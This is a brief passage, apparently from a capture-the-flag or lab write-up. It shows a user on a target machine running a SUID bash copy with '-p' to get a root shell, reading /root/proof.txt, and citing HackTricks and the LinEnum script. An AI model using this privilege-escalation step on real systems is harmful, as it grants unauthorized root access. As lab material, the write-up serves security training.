## on target:
## escalate our privilege using the `bash` binary
liam@lunar:/srv/share$ ./bash -p
bash-5.0#
## print `proof.txt`
bash-5.0# cat /root/proof.txt
11b49c4815b83858bbc9efde6c25ba56
References #
[+] https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html
[+] https://raw.githubusercontent.com/rebootuser/LinEnum/refs/heads/master/LinEnum.sh